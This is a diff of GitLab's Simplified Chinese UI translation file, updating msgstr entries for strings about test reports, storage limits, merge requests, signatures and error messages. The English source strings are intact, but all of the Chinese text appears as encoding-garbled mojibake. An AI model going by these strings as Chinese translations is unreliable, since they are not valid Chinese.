+msgstr "GitLabå…许您申请%{strongStart}å…费的一次性存储增加%{strongEnd}。 您在30天内将å¯ä½¿ç”¨æ— é™çš„存储空间。这将使您有时间å‡å°‘您的存储使用é‡ã€‚ 30天åŽï¼Œæ‚¨çš„原始存储é™åˆ¶%{limit}将生效。如果您的存储使用已达容é‡ä¸Šé™ï¼Œæ‚¨çš„账户将å˜ä¸ºåªè¯»ã€‚如需继续使用 GitLab ,您必须购买é¢å¤–的存储或å‡å°‘存储使用é‡ã€‚"
msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
+msgstr "临时增加存储"
msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
+msgstr "现在临时增加存储å—?"
msgid "Terminal"
msgstr "终端"
@@ -23627,6 +24283,12 @@ msgstr "您的æµæ°´çº¿ç”Ÿæˆäº†Terraform报告%{name}。"
msgid "Test"
msgstr "测试"
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "测试覆盖率解æž"
@@ -23671,13 +24333,13 @@ msgid "TestReports|%{count} failures"
msgstr "%{count}个失败"
msgid "TestReports|%{count} tests"
-msgstr ""
+msgstr "%{count}项测试"
msgid "TestReports|%{rate}%{sign} success rate"
msgstr "%{rate}%{sign}æˆåŠŸçŽ‡"
msgid "TestReports|Jobs"
-msgstr ""
+msgstr "作业"
msgid "TestReports|Tests"
msgstr "测试"
@@ -23692,13 +24354,10 @@ msgid "TestReports|There are no tests to show."
msgstr "没有è¦æ˜¾ç¤ºçš„测试。"
msgid "TestReports|There was an error fetching the summary."
-msgstr ""
-
-msgid "TestReports|There was an error fetching the test reports."
-msgstr "获å–测试报告时出错。"
+msgstr "获å–总结时出错。"
msgid "TestReports|There was an error fetching the test suite."
-msgstr ""
+msgstr "获å–测试集时出错。"
msgid "Tests"
msgstr "测试"
@@ -23713,7 +24372,7 @@ msgid "Thank you for your report. A GitLab administrator will look into it short
msgstr "感谢您的报告。 GitLab管ç†å‘˜å°†å°½å¿«è¿›è¡Œè°ƒæŸ¥ã€‚"
msgid "Thank you for your support request! We are tracking your request as ticket #%{issue_iid}, and will respond as soon as we can."
-msgstr ""
+msgstr "感谢您的支æŒè¯·æ±‚ï¼æˆ‘们会通过工å•#%{issue_iid}追踪您的请求。我们将尽快回å¤æ‚¨ã€‚"
msgid "Thanks for your purchase!"
msgstr "感谢购买ï¼"
@@ -23733,24 +24392,21 @@ msgstr "“需è¦æ¥è‡ªä»£ç æ‰€æœ‰è€…的批准â€è®¾ç½®å·²ç§»è‡³%{banner_link_s
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr "%{link_start}校准模å¼%{link_end}å…许有é¢å¤–用户,这些é¢å¤–用户在更新订阅时将会产生追溯费用。"
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr "%{true_up_link_start}校准模å¼%{link_end}在下次更新订阅时对这些用户有追溯费用。 如果您想è¦æå‰æ›´æ–°æ‚¨çš„许å¯è¯ä»¥é˜²æ­¢è¿™ç§æƒ…况å‘生,%{support_link_start}请è”系我们的支æŒå›¢é˜Ÿ%{link_end}。"
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] "%{type} 包å«ä»¥ä¸‹é”™è¯¯ï¼š"
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "GitLab 中的高级全局æœç´¢åŠŸèƒ½æ˜¯ä¸€ä¸ªå¼ºå¤§ä¸”节çœæ‚¨çš„时间的æœç´¢æœåŠ¡ã€‚您å¯ä»¥æœç´¢å…¶ä»–团队的代ç ä»¥å¸®åŠ©æ‚¨å®Œå–„自己项目中的代ç ã€‚从而é¿å…创建é‡å¤çš„代ç æˆ–浪费时间。"
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
+msgstr "CSV导出将在åŽå°åˆ›å»ºã€‚完æˆåŽï¼Œå®ƒå°†ä»¥é™„件形å¼å‘é€åˆ°%{strong_open}%{email}%{strong_close}。"
msgid "The Git LFS objects will %{strong_open}not%{strong_close} be synced."
-msgstr ""
+msgstr "Git LFS对象将%{strong_open}ä¸ä¼š%{strong_close}被åŒæ­¥ã€‚"
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
-msgstr ""
+msgstr "Jira用户%{jiraDisplayName}将映射到的GitLab用户"
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "议题跟踪用于管ç†éœ€æ±‚改进或者解决的问题"
@@ -23767,6 +24423,9 @@ msgstr "在主节点上定义的URL,次è¦èŠ‚点应使用该URL与其è”系。
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "用于连接到Elasticsearchçš„URL。使用逗å·åˆ†éš”的列表æ¥æ”¯æŒç¾¤é›†(例如,“http://localhost:9200, http://localhost:9201â€)。"
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "在需è¦ç›¸äº’ TLS 与外部授æƒæœåŠ¡é€šä¿¡æ—¶ä½¿ç”¨çš„ X509 è¯ä¹¦ã€‚如果ä¿ç•™ä¸ºç©º, 则在访问 HTTPS æ—¶ä»ç„¶éªŒè¯æœåŠ¡å™¨è¯ä¹¦ã€‚"
@@ -23797,6 +24456,9 @@ msgstr "与该阶段相关的事件集åˆã€‚"
msgid "The commit does not exist"
msgstr "æ­¤æ交ä¸å­˜åœ¨"
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "该连接将在 %{timeout}åŽè¶…时。如仓库导入耗时超过该时间,请使用克隆/推é€ç»„åˆã€‚"
@@ -23804,7 +24466,7 @@ msgid "The content of this page is not encoded in UTF-8. Edits can only be made
msgstr "此页é¢çš„内容未以UTF-8ç¼–ç ã€‚编辑åªèƒ½é€šè¿‡Git仓库进行。"
msgid "The contents of this group, its subgroups and projects will be permanently removed after %{deletion_adjourned_period} days on %{date}. After this point, your data cannot be recovered."
-msgstr ""
+msgstr "该群组,其å­ç»„和项目的内容将于%{deletion_adjourned_period}天åŽåœ¨%{date}永久删除。在此之åŽï¼Œæ‚¨çš„æ•°æ®å°†æ— æ³•æ¢å¤ã€‚"
msgid "The current issue"
msgstr "当å‰è®®é¢˜"
@@ -23851,6 +24513,12 @@ msgstr "文件已æˆåŠŸåˆ é™¤ã€‚"
msgid "The file name should have a .yml extension"
msgstr "文件å应以.yml扩展"
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr "以下项目将ä¸ä¼šè¢«å¯¼å‡ºï¼š"
@@ -23865,7 +24533,7 @@ msgid "The fork relationship has been removed."
msgstr "派生关系已被删除。"
msgid "The form contains the following error:"
-msgstr ""
+msgstr "表å•åŒ…å«ä»¥ä¸‹é”™è¯¯ï¼š"
msgid "The global settings require you to enable Two-Factor Authentication for your account."
msgstr "系统设置è¦æ±‚您为å¸æˆ·å¯ç”¨åŒé‡è®¤è¯ã€‚"
@@ -23951,20 +24619,20 @@ msgstr "å称“%{name}â€åœ¨æ­¤ç›®å½•ä¸­å·²ä½¿ç”¨ã€‚"
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr "克隆仓库时从GitLab获å–çš„å˜æ›´æ•°ç›®ã€‚此设置å¯ä»¥åŠ å¿«æµæ°´çº¿çš„执行速度。ä¿æŒä¸ºç©ºæˆ–设置为0将默认ç¦ç”¨æµ…克隆,并使GitLab CIæ¯æ¬¡éƒ½èŽ·å–所有分支和标签。"
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "上载记录无法找到相应文件的次数"
-msgid "The one place for your designs"
-msgstr "您的设计汇èšäºŽæ­¤"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
+msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
msgstr "解密ç§é’¥æ‰€éœ€çš„密ç çŸ­è¯­ã€‚该项为å¯é€‰é¡¹, 并且内容被加密存储。"
msgid "The path to the CI configuration file. Defaults to %{code_open}.gitlab-ci.yml%{code_close}"
-msgstr ""
+msgstr "CIé…置文件的路径。默认为%{code_open}.gitlab-ci.yml%{code_close}"
msgid "The phase of the development lifecycle."
msgstr "项目生命周期中的å„个阶段。"
@@ -23996,6 +24664,9 @@ msgstr "任何人都å¯ä»¥è®¿é—®è¯¥é¡¹ç›®ï¼Œä¸è®ºç”¨æˆ·æ˜¯å¦è®¤è¯ã€‚"
msgid "The project can be accessed without any authentication."
msgstr "该项目å…许任何人访问。"
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr "项目åªèƒ½ç”±é¡¹ç›®æˆå‘˜è®¿é—®ã€‚必须明确地å‘æ¯ä¸ªç”¨æˆ·æŽˆäºˆè®¿é—®æƒé™ã€‚"
@@ -24030,10 +24701,10 @@ msgid "The repository is being updated..."
msgstr "仓库正在更新......"
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close} or %{code_open}git://%{code_close}."
-msgstr ""
+msgstr "仓库必须能够通过%{code_open}http://%{code_close},%{code_open}https://%{code_close}或%{code_open}git://%{code_close}æ¥è®¿é—®ã€‚"
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
-msgstr ""
+msgstr "仓库必须能够通过%{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close}或%{code_open}git://%{code_close}æ¥è®¿é—®ã€‚"
msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
msgstr "审阅阶段概述了从创建åˆå¹¶è¯·æ±‚到被åˆå¹¶çš„时间。当创建第一个åˆå¹¶è¯·æ±‚åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
@@ -24090,7 +24761,7 @@ msgid "The user map has been saved. Continue by selecting the projects you want
msgstr "用户映射已ä¿å­˜ã€‚请选择è¦å¯¼å…¥çš„项目以继续。"
msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
+msgstr "用户映射是一个JSON文档,将å‚与项目的Google Code用户映射到他们将导入GitLab的电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·åçš„æ–¹å¼ã€‚您å¯ä»¥é€šè¿‡æ›´æ”¹%{code_open}:%{code_close}å³ä¾§çš„值æ¥æ›´æ”¹æ­¤å€¼ã€‚请务必在左侧ä¿ç•™å‘¨å›´çš„åŒå¼•å·ï¼Œå…¶ä»–标点符å·ä»¥åŠç”µå­é‚®ä»¶åœ°å€æˆ–用户å。"
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "用户映射是å‚与项目的 FogBugz 用户的电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å将被导入 GitLab çš„æ–¹å¼ã€‚您å¯ä»¥é€šè¿‡ä»¥ä¸‹è¡¨æ ¼æ¥ä¿®æ”¹æ˜ å°„关系。"
@@ -24102,7 +24773,7 @@ msgid "The value lying at the midpoint of a series of observed values. E.g., bet
msgstr "中ä½æ•°æ˜¯ä¸€ä¸ªæ•°åˆ—中最中间的值。例如在 3ã€5ã€9 之间,中ä½æ•°æ˜¯ 5。在 3ã€5ã€7ã€8 之间,中ä½æ•°æ˜¯ (5 + 7)/ 2 = 6。"
msgid "The value of the provided variable exceeds the %{count} character limit"
-msgstr ""
+msgstr "æä¾›å˜é‡çš„值超过了%{count}字符é™åˆ¶"
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr "æ¼æ´žå·²ä¸å†è¢«æ£€æµ‹åˆ°ã€‚请在更改其状æ€å‰ç¡®ä¿æ¼æ´žå·²ä¿®å¤æˆ–移除。"
@@ -24111,6 +24782,9 @@ msgid "The vulnerability is no longer detected. Verify the vulnerability has bee
msgstr "æ¼æ´žå·²ä¸å†è¢«æ£€æµ‹åˆ°ã€‚请在更改其状æ€å‰ç¡®ä¿æ¼æ´žå·²ä¿®è¡¥ã€‚"
msgid "There are currently no events."
+msgstr "当å‰æ²¡æœ‰äº‹ä»¶ã€‚"
+
+msgid "There are merge conflicts"
msgstr ""
msgid "There are no %{replicableTypeName} to show"
@@ -24147,7 +24821,7 @@ msgid "There are no closed merge requests"
msgstr "没有已关闭的åˆå¹¶è¯·æ±‚"
msgid "There are no commits yet."
-msgstr ""
+msgstr "ç›®å‰è¿˜æ²¡æœ‰æ交。"
msgid "There are no custom project templates set up for this GitLab instance. They are enabled from GitLab's Admin Area. Contact your GitLab instance administrator to setup custom project templates."
msgstr "没有为此GitLab实例设置自定义项目模æ¿ã€‚它们是从GitLab的管ç†åŒºåŸŸå¯ç”¨çš„。请与您的GitLab实例管ç†å‘˜è”系以设置自定义项目模æ¿ã€‚"
@@ -24188,22 +24862,28 @@ msgstr "项目的订阅和被订阅数é‡ä¸Šé™ä¸º%{ci_project_subscriptions_lim
msgid "There is already a repository with that name on disk"
msgstr "ç£ç›˜ä¸Šå·²å­˜åœ¨å…·æœ‰è¯¥å称的仓库"
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr "没有å¯ç”¨æ•°æ®ã€‚请更改选择。"
-msgid "There is too much data to calculate. Please change your selection."
+msgid "There is no table data available."
msgstr ""
+msgid "There is too much data to calculate. Please change your selection."
+msgstr "æ•°æ®å¤ªå¤šæ— æ³•è®¡ç®—。请更改您的选择。"
+
msgid "There was a problem communicating with your device."
msgstr "与您的设备通信时出现问题。"
msgid "There was a problem fetching groups."
-msgstr ""
+msgstr "获å–群组时出现问题。"
msgid "There was a problem fetching labels."
+msgstr "获å–标记时出错。"
+
+msgid "There was a problem fetching milestones."
msgstr ""
msgid "There was a problem fetching project branches."
@@ -24270,7 +24950,7 @@ msgid "There was an error fetching the Node's Groups"
msgstr "获å–节点上的群组时出错"
msgid "There was an error fetching the deploy freezes."
-msgstr ""
+msgstr "获å–部署冻结时出错。"
msgid "There was an error fetching the environments information."
msgstr "获å–环境信æ¯æ—¶å‡ºé”™ã€‚"
@@ -24312,7 +24992,7 @@ msgid "There was an error resetting user pipeline minutes."
msgstr "é‡ç½®ç”¨æˆ·æµæ°´çº¿åˆ†é’Ÿæ•°æ—¶å‡ºé”™ã€‚"
msgid "There was an error retrieving the Jira users."
-msgstr ""
+msgstr "获å–Jira用户时出错。"
msgid "There was an error saving this Geo Node."
msgstr "ä¿å­˜æ­¤Geo节点时出错。"
@@ -24336,7 +25016,7 @@ msgid "There was an error trying to validate your query"
msgstr "å°è¯•éªŒè¯æ‚¨çš„查询时出错"
msgid "There was an error updating the Geo Settings"
-msgstr ""
+msgstr "更新Geo设置时出错"
msgid "There was an error updating the dashboard, branch name is invalid."
msgstr "更新仪表æ¿æ—¶å‡ºé”™ï¼Œåˆ†æ”¯å称无效。"
@@ -24356,21 +25036,21 @@ msgstr "订阅此标记时出错。"
msgid "There was an error when unsubscribing from this label."
msgstr "å–消订阅此标记时出错。"
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
+msgstr ""
+
msgid "There was an error while fetching value stream analytics data."
msgstr "获å–值æµåˆ†æžæ•°æ®æ—¶å‡ºé”™ã€‚"
msgid "There was an error while fetching value stream analytics duration data."
msgstr "获å–价值æµåˆ†æžæŒç»­æ—¶é—´æ—¶å‡ºé”™ã€‚"
-msgid "There was an error while fetching value stream analytics duration median data."
-msgstr "获å–价值æµåˆ†æžæŒç»­æ—¶é—´ä¸­ä½æ•°æ®æ—¶å‡ºé”™ã€‚"
-
-msgid "There was an error while fetching value stream analytics recent activity data."
-msgstr "获å–价值æµåˆ†æžçš„最近活动数æ®æ—¶å‡ºé”™ã€‚"
-
-msgid "There was an error while fetching value stream analytics time summary data."
-msgstr "æå–价值æµåˆ†æžæ—¶é—´æ‘˜è¦æ•°æ®æ—¶å‡ºé”™ã€‚"
-
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr "reCAPTCHA 验è¯é”™è¯¯ã€‚请å†æ¬¡éªŒè¯ reCAPTCHA。"
@@ -24392,9 +25072,12 @@ msgstr "第三方优惠"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "æ­¤%{issuableDisplayName}被é”定。åªæœ‰é¡¹ç›®æˆå‘˜å¯ä»¥è¯„论。"
-msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
+msgid "This %{issuableType} is confidential"
msgstr ""
+msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
+msgstr "æ­¤%{issuable}已被é”定。åªæœ‰%{strong_open}项目æˆå‘˜%{strong_close}æ‰å¯ä»¥å‘表评论。"
+
msgid "This %{noteableTypeText} is %{confidentialLinkStart}confidential%{linkEnd} and %{lockedLinkStart}locked%{linkEnd}."
msgstr "æ­¤%{noteableTypeText}为%{confidentialLinkStart}机密的%{linkEnd}且%{lockedLinkStart}é”定的%{linkEnd}。"
@@ -24405,13 +25088,13 @@ msgid "This %{viewer} could not be displayed because %{reason}. You can %{option
msgstr "因为 %{reason}无法显示 %{viewer} 。您å¯ä»¥æ”¹ä¸º %{options}。"
msgid "This Cron pattern is invalid"
-msgstr ""
+msgstr "æ­¤Cronæ ¼å¼æ— æ•ˆ"
msgid "This GitLab instance does not provide any shared Runners yet. Instance administrators can register shared Runners in the admin area."
msgstr "æ­¤GitLab实例尚未æ供任何共享Runner。管ç†å‘˜å¯ä»¥åœ¨ç®¡ç†åŒºåŸŸä¸­æ³¨å†Œå…±äº«Runner。"
msgid "This GitLab instance is licensed at the %{insufficient_license} tier. Geo is only available for users who have at least a Premium license."
-msgstr "该GitLab实例的许å¯ä¸º%{insufficient_license}级别。拥有Premium或更高级别许å¯è¯çš„用户æ‰èƒ½ä½¿ç”¨Geo。"
+msgstr "该GitLab实例的许å¯ä¸º%{insufficient_license}级别。拥有高级版或更高级别许å¯è¯çš„用户æ‰èƒ½ä½¿ç”¨Geo。"
msgid "This Project is currently archived and read-only. Please unarchive the project first if you want to resume Pull mirroring"
msgstr "此项目目å‰å·²å­˜æ¡£å¹¶åªè¯»ã€‚如果您想è¦æ¢å¤æ‹‰å–é•œåƒï¼Œè¯·å…ˆå–消归档。"
@@ -24422,20 +25105,20 @@ msgstr "æ­¤URLå·²ç»ç”¨äºŽå¦ä¸€ä¸ªé“¾æŽ¥ï¼›ä¸å…许é‡å¤ URL"
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr "æ­¤æ“作å¯èƒ½å¯¼è‡´æ•°æ®ä¸¢å¤±ã€‚为防止æ„外,我们会è¦æ±‚您确认您的æ“作。"
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
-msgstr ""
+msgstr "æ­¤æ“作将%{strongOpen}ç«‹å³%{strongClose}%{strongOpen}永久删除%{strongClose}%{codeOpen}%{project}%{codeClose},包括其仓库åŠæ‰€æœ‰å†…容:议题,åˆå¹¶è¯·æ±‚等。"
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}on %{date}%{strongClose}, including its repositories and all content: issues, merge requests, etc."
-msgstr ""
+msgstr "æ­¤æ“作将于%{strongOpen}%{date}%{strongClose}%{strongOpen}永久删除%{strongClose}%{codeOpen}%{project}%{codeClose},包括其仓库åŠæ‰€æœ‰å†…容:议题,åˆå¹¶è¯·æ±‚等。"
msgid "This also resolves all related threads"
msgstr "这也会åŒæ—¶è§£å†³æ‰€æœ‰ç›¸å…³ä¸»é¢˜"
msgid "This also resolves this thread"
-msgstr ""
+msgstr "这也会åŒæ—¶è§£å†³æ­¤ä¸»é¢˜"
msgid "This application was created by %{link_to_owner}."
msgstr "这个应用程åºæ˜¯ç”± %{link_to_owner} 创建的。"
@@ -24465,7 +25148,7 @@ msgid "This commit is part of merge request %{link_to_merge_request}. Comments c
msgstr "æ­¤æ交是åˆå¹¶è¯·æ±‚ %{link_to_merge_request} 的一部分。此处创建的评论将在该åˆå¹¶è¯·æ±‚的上下文中创建。"
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
-msgstr ""
+msgstr "æ­¤æ交使用%{strong_open}已验è¯çš„%{strong_close}ç­¾å进行签署,并且已验è¯æ交者的电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
msgstr "æ­¤æ交使用 <strong>已验è¯</strong> çš„ç­¾å进行签å,并且已验è¯æ交者的电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
@@ -24474,10 +25157,10 @@ msgid "This commit was signed with a different user's verified signature."
msgstr "æ­¤æ交使用其他用户的已验è¯ç­¾å进行签å。"
msgid "This commit was signed with a verified signature, but the committer email is %{strong_open}not verified%{strong_close} to belong to the same user."
-msgstr ""
+msgstr "æ­¤æ交已使用ç»è¿‡éªŒè¯çš„ç­¾å进行签署,但%{strong_open}尚未验è¯%{strong_close}æ交者电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
-msgstr ""
+msgstr "æ­¤æ交使用%{strong_open}未ç»éªŒè¯çš„%{strong_close}ç­¾å进行签署。"
msgid "This commit was signed with an <strong>unverified</strong> signature."
msgstr "æ­¤æ交使用 <strong>未ç»éªŒè¯çš„</strong> ç­¾å进行签å。"
@@ -24486,7 +25169,7 @@ msgid "This content could not be displayed because %{reason}. You can %{options}
msgstr "由于%{reason},无法显示此内容。您å¯ä»¥%{options}以代替。"
msgid "This credential has expired"
-msgstr ""
+msgstr "此凭è¯å·²è¿‡æœŸ"
msgid "This date is after the due date, so this epic won't appear in the roadmap."
msgstr "此日期在截止日期之åŽï¼Œå› æ­¤è¯¥ å²è¯— ä¸ä¼šå‡ºçŽ°åœ¨è·¯çº¿å›¾ä¸­ã€‚"
@@ -24537,7 +25220,7 @@ msgid "This feature requires local storage to be enabled"
msgstr "此功能需è¦æœ¬åœ°å­˜å‚¨ä»¥å¯ç”¨"
msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
+msgstr "此功能应与13.0åŽåˆ›å»ºçš„索引一起使用"
msgid "This field is required."
msgstr "该字段是必填字段。"
@@ -24555,7 +25238,7 @@ msgid "This group has been scheduled for permanent removal on %{date}"
msgstr "此群组已安排在%{date}永久删除"
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
-msgstr ""
+msgstr "此群组,包括所有å­ç¾¤ç»„ã€é¡¹ç›®å’Œgit仓库,将åªèƒ½ä»ŽæŒ‡å®šçš„IP地å€èŒƒå›´å†…访问。"
msgid "This group, its subgroups and projects has been scheduled for removal on %{date}."
msgstr "此群组ã€å…¶å­ç¾¤ç»„和项目已安排在%{date}移除。"
@@ -24567,7 +25250,7 @@ msgid "This is a \"Ghost User\", created to hold all issues authored by users th
msgstr "此用户为“幽çµç”¨æˆ·â€ï¼Œç”¨äºŽæŒæœ‰è¢«åˆ é™¤ç”¨æˆ·çš„所有议题。该用户无法被删除。"
msgid "This is a Premium feature"
-msgstr ""
+msgstr "这是高级版的功能"
msgid "This is a confidential %{noteableTypeText}."
msgstr "这是一个机密%{noteableTypeText}。"
@@ -24596,9 +25279,6 @@ msgstr "此数目为当å‰æ´»è·ƒç”¨æˆ·çš„æ•°é‡ï¼Œ 也是更新许å¯è¯æ—¶éœ€è¦
msgid "This is your current session"
msgstr "这是您当å‰çš„会è¯"
-msgid "This issue is confidential"
-msgstr "当å‰è®®é¢˜ä¸ºç§å¯†è®®é¢˜"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr "此议题目å‰è¢«ä»¥ä¸‹è®®é¢˜é˜»æ­¢ï¼š %{issues}。"
@@ -24711,16 +25391,16 @@ msgid "This merge request does not have accessibility reports"
msgstr "æ­¤åˆå¹¶è¯·æ±‚没有无障ç¢æ€§æ‰«æ报告"
msgid "This merge request is closed. To apply this suggestion, edit this file directly."
-msgstr ""
+msgstr "æ­¤åˆå¹¶è¯·æ±‚已关闭。è¦åº”用此建议,请直接编辑此文件。"
msgid "This merge request is locked."
msgstr "æ­¤åˆå¹¶è¯·æ±‚å·²é”定。"
msgid "This merge request is still a work in progress."
-msgstr ""
+msgstr "æ­¤åˆå¹¶è¯·æ±‚ä»åœ¨è¿›è¡Œä¸­ã€‚"
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
-msgstr ""
+msgstr "åˆå¹¶è¯·æ±‚å·²åˆå¹¶ã€‚è¦åº”用此建议,请直接编辑此文件。"
msgid "This namespace has already been taken! Please choose another one."
msgstr "此命å空间已被使用ï¼è¯·é€‰æ‹©å…¶ä»–命å空间。"
@@ -24735,19 +25415,19 @@ msgid "This page is unavailable because you are not allowed to read information
msgstr "此页é¢ä¸å¯ç”¨ï¼Œæ‚¨æ— æƒè·¨é¡¹ç›®é˜…读相关信æ¯ã€‚"
msgid "This page sends a payload. Go back to the events page to see a newly created event."
-msgstr ""
+msgstr "此页é¢å‘é€äº†ä¸€ä¸ªæœ‰æ•ˆæ•°æ®ã€‚返回事件页é¢æŸ¥çœ‹æ–°åˆ›å»ºçš„事件。"
msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
msgstr "æ­¤æµæ°´çº¿æœªä½¿ç”¨%{codeStart}needs%{codeEnd}关键字,因此ä¸èƒ½æ˜¾ç¤ºä¸ºæœ‰å‘无环图(DAG)。"
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
-msgstr ""
+msgstr "æ­¤æµæ°´çº¿ä½¿ç”¨äº†åŒ…å«%{b_open}Auto DevOps%{b_close}的预先定义CI/CDé…置。"
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{strongStart}Auto DevOps.%{strongEnd}"
msgstr "æ­¤æµæ°´çº¿ä½¿ç”¨äº† %{strongStart}Auto DevOps 预先定义的并已å¯ç”¨çš„ CI/CD é…置。%{strongEnd}"
msgid "This pipeline was triggered by a schedule."
-msgstr ""
+msgstr "æ­¤æµæ°´çº¿æ˜¯ç”±å®šæ—¶è®¡åˆ’触å‘çš„."
msgid "This project"
msgstr "当å‰é¡¹ç›®"
@@ -24761,15 +25441,15 @@ msgstr "此项目未å¯ç”¨%{service_desk_link_start}æœåŠ¡å°%{service_desk_link
msgid "This project does not have a wiki homepage yet"
msgstr "该项目尚无wiki主页"
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr "此项目未å¯ç”¨è´¦å•ã€‚è¦åˆ›å»ºç¾¤é›†ï¼Œè¯· <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">å¯ç”¨è´¦å• <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> 并é‡è¯•ã€‚"
-
msgid "This project has no active access tokens."
msgstr "此项目没有有效的访问令牌。"
msgid "This project is archived and cannot be commented on."
msgstr "此项目已存档,无法添加评论。"
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr "此项目路径ä¸å­˜åœ¨æˆ–您没有访问æƒé™ã€‚"
@@ -24780,7 +25460,7 @@ msgid "This project will be removed on %{date} since its parent group '%{parent_
msgstr "此项目将于%{date}被删除,因为其父群组'%{parent_group_name}‘已被安排移除。"
msgid "This project will live in your group %{strong_open}%{namespace}%{strong_close}. A project is where you house your files (repository), plan your work (issues), publish your documentation (wiki), and so much more."
-msgstr ""
+msgstr "该项目将存在于您的群组%{strong_open}%{namespace}%{strong_close}中。在项目中,您å¯ä»¥å­˜æ”¾æ–‡ä»¶(仓库),计划工作(议题),å‘布文档(Wiki)等等。"
msgid "This repository"
msgstr "当å‰ä»“库"
